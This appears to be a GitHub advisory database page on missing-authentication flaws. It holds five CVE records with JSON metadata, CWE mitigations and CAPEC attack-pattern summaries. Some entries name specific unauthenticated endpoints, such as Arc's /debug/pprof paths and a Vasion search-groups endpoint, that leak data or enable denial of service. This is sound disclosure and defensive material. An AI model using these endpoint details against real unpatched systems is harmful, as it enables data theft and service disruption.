Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102 and Application prior to version 25.1.1413 (VA/SaaS deployments) contains a /api-gateway/identity/search-groups endpoint that does not require authentication. Requests to https://.printercloud10.com/api-gateway/identity/search-groups and adjustments to the Host header allow an unauthenticated remote attacker to enumerate every group object stored for that tenant. The response includes internal identifiers (group ID, source service ID, Azure AD object IDs, creation timestamps, and tenant IDs). This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-34220"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-29T21:15:35Z",
    "severity": "MODERATE"
  },
  "details": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102\u00a0and Application prior to version 25.1.1413\u00a0(VA/SaaS deployments) contains a\u00a0/api-gateway/identity/search-groups endpoint that does not require authentication.\u00a0Requests to https://\u003ctenant\u003e.printercloud10.com/api-gateway/identity/search-groups and adjustments to the `Host` header allow an unauthenticated remote attacker to enumerate every group object stored for that tenant.  The response includes internal identifiers (group\u202fID, source service ID, Azure AD object IDs, creation timestamps, and tenant IDs). This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.",
  "id": "GHSA-j934-w62c-3233",
  "modified": "2025-10-09T18:30:27Z",
  "published": "2025-09-29T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34220"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html#va-api-leak"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vasion-print-printerlogic-unauth-api-leaks-group-info"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J93G-RP6M-J32M

Vulnerability from github – Published: 2026-06-11 17:10 – Updated: 2026-06-11 17:10

Summary

Arc: Unauthenticated access to Go debug pprof endpoints leaks runtime state and enables CPU-burn DoS

Details

Summary

Arc registers Go's net/http/pprof handlers at /debug/pprof/* via app.Use(pprof.New()) in internal/api/server.go, and /debug/pprof is added to PublicPrefixes in cmd/arc/main.go. The auth middleware short-circuits before the token check on prefix match, so the endpoints are reachable without any authentication.

Impact

Any network-reachable caller (no token required) can:

Fetch /debug/pprof/heap — leaks in-memory state: live SQL strings, decoded msgpack records, decompressed request bodies, cached *TokenInfo (the auth cache keys on SHA-256 of the plaintext token at auth.go:543).
Fetch /debug/pprof/goroutine?debug=2 — leaks call stacks, identifying internal code paths.
Fetch /debug/pprof/profile?seconds=N — pins a CPU core for arbitrary duration. Trivial DoS amplification (one short HTTP request → minutes of server CPU).
Fetch /debug/pprof/trace — long-duration execution trace, similar DoS profile.

No authentication, no rate limiting, no resource bound on the seconds parameter.

Patches

https://github.com/Basekick-Labs/arc/releases/tag/v26.06.1

Planned mitigation:

Gate pprof registration behind an env var (ARC_DEBUG_PPROF=1) that defaults to off.
When enabled, bind pprof to a separate localhost-only listener (127.0.0.1:6060 via dedicated net/http server) so it's never reachable from the public API port.
Remove /debug/pprof from PublicPrefixes.
Fix the HasPrefix bug where "/debug/pprofX" matches "/debug/pprof".

Workarounds

Block /debug/pprof* at a reverse proxy / load balancer in front of Arc.
Restrict Arc's API port to known-trusted networks via firewall rules.
Patch the running build: comment out app.Use(pprof.New()) in internal/api/server.go and rebuild.

Credits

Reported by Alex Manson (@NeuroWinter, https://neurowinter.com/) on 2026-05-19.

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/basekick-labs/arc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260520170331-32a4091fb949"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48050"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-11T17:10:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nArc registers Go\u0027s `net/http/pprof` handlers at `/debug/pprof/*` via `app.Use(pprof.New())` in `internal/api/server.go`, and `/debug/pprof` is added to `PublicPrefixes` in `cmd/arc/main.go`. The auth middleware short-circuits before the token check on prefix match, so the endpoints are reachable without any authentication.\n\n### Impact\n\nAny network-reachable caller (no token required) can:\n\n- Fetch `/debug/pprof/heap` \u2014 leaks in-memory state: live SQL strings, decoded msgpack records, decompressed request bodies, cached `*TokenInfo` (the auth cache keys on SHA-256 of the plaintext token at `auth.go:543`).\n- Fetch `/debug/pprof/goroutine?debug=2` \u2014 leaks call stacks, identifying internal code paths.\n- Fetch `/debug/pprof/profile?seconds=N` \u2014 pins a CPU core for arbitrary duration. Trivial DoS amplification (one short HTTP request \u2192 minutes of server CPU).\n- Fetch `/debug/pprof/trace` \u2014 long-duration execution trace, similar DoS profile.\n\nNo authentication, no rate limiting, no resource bound on the `seconds` parameter.\n\n### Patches\n\nhttps://github.com/Basekick-Labs/arc/releases/tag/v26.06.1\n\nPlanned mitigation:\n\n1. Gate pprof registration behind an env var (`ARC_DEBUG_PPROF=1`) that defaults to off.\n2. When enabled, bind pprof to a separate localhost-only listener (`127.0.0.1:6060` via dedicated `net/http` server) so it\u0027s never reachable from the public API port.\n3. Remove `/debug/pprof` from `PublicPrefixes`.\n4. Fix the `HasPrefix` bug where `\"/debug/pprofX\"` matches `\"/debug/pprof\"`.\n\n### Workarounds\n\n- Block `/debug/pprof*` at a reverse proxy / load balancer in front of Arc.\n- Restrict Arc\u0027s API port to known-trusted networks via firewall rules.\n- Patch the running build: comment out `app.Use(pprof.New())` in `internal/api/server.go` and rebuild.\n\n### Credits\n\nReported by Alex Manson ([@NeuroWinter](https://github.com/NeuroWinter), https://neurowinter.com/) on 2026-05-19.",
  "id": "GHSA-j93g-rp6m-j32m",
  "modified": "2026-06-11T17:10:21Z",
  "published": "2026-06-11T17:10:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/security/advisories/GHSA-j93g-rp6m-j32m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/commit/32a4091fb949f9cf060cdd804a07f6450dc426a8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Basekick-Labs/arc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/releases/tag/v26.06.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Arc: Unauthenticated access to Go debug pprof endpoints leaks runtime state and enables CPU-burn DoS"
}

GHSA-J94F-HQ72-QM3H

Vulnerability from github – Published: 2026-06-10 15:31 – Updated: 2026-06-10 15:31

Details

During an internal security assessment, a potential vulnerability was discovered in Lenovo Accessories and Display Manager for Enterprise for Windows that could allow a local authenticated user to execute arbitrary code with elevated privileges.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.5 (High)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-9045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-10T15:16:43Z",
    "severity": "HIGH"
  },
  "details": "During an internal security assessment, a potential vulnerability was discovered in Lenovo Accessories and Display Manager for Enterprise for Windows that could allow a local authenticated user to execute arbitrary code with elevated privileges.",
  "id": "GHSA-j94f-hq72-qm3h",
  "modified": "2026-06-10T15:31:33Z",
  "published": "2026-06-10T15:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9045"
    },
    {
      "type": "WEB",
      "url": "https://support.lenovo.com/us/en/downloads/ds568567"
    },
    {
      "type": "WEB",
      "url": "https://support.lenovo.com/us/en/product_security/LEN-213623"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J956-PC3W-227X

Vulnerability from github – Published: 2022-11-10 12:01 – Updated: 2022-11-11 12:00

Details

VMware Workspace ONE Assist prior to 22.10 contains an Authentication Bypass vulnerability. A malicious actor with network access to Workspace ONE Assist may be able to obtain administrative access without the need to authenticate to the application.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2022-31685"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-09T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "VMware Workspace ONE Assist prior to 22.10 contains an Authentication Bypass vulnerability. A malicious actor with network access to Workspace ONE Assist may be able to obtain administrative access without the need to authenticate to the application.",
  "id": "GHSA-j956-pc3w-227x",
  "modified": "2022-11-11T12:00:34Z",
  "published": "2022-11-10T12:01:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31685"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2022-0028.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J95M-VCJC-HM79

Vulnerability from github – Published: 2025-04-09 18:30 – Updated: 2025-04-09 21:31

Details

Missing Authentication for Critical Function vulnerability in Drupal Panels allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Panels: from 0.0.0 before 4.9.0.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-3474"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-09T18:15:51Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authentication for Critical Function vulnerability in Drupal Panels allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Panels: from 0.0.0 before 4.9.0.",
  "id": "GHSA-j95m-vcjc-hm79",
  "modified": "2025-04-09T21:31:42Z",
  "published": "2025-04-09T18:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3474"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2025-033"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation

Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

Mitigation MIT-15

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation

Architecture and Design

Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

Mitigation MIT-4.5

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].

Mitigation

Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

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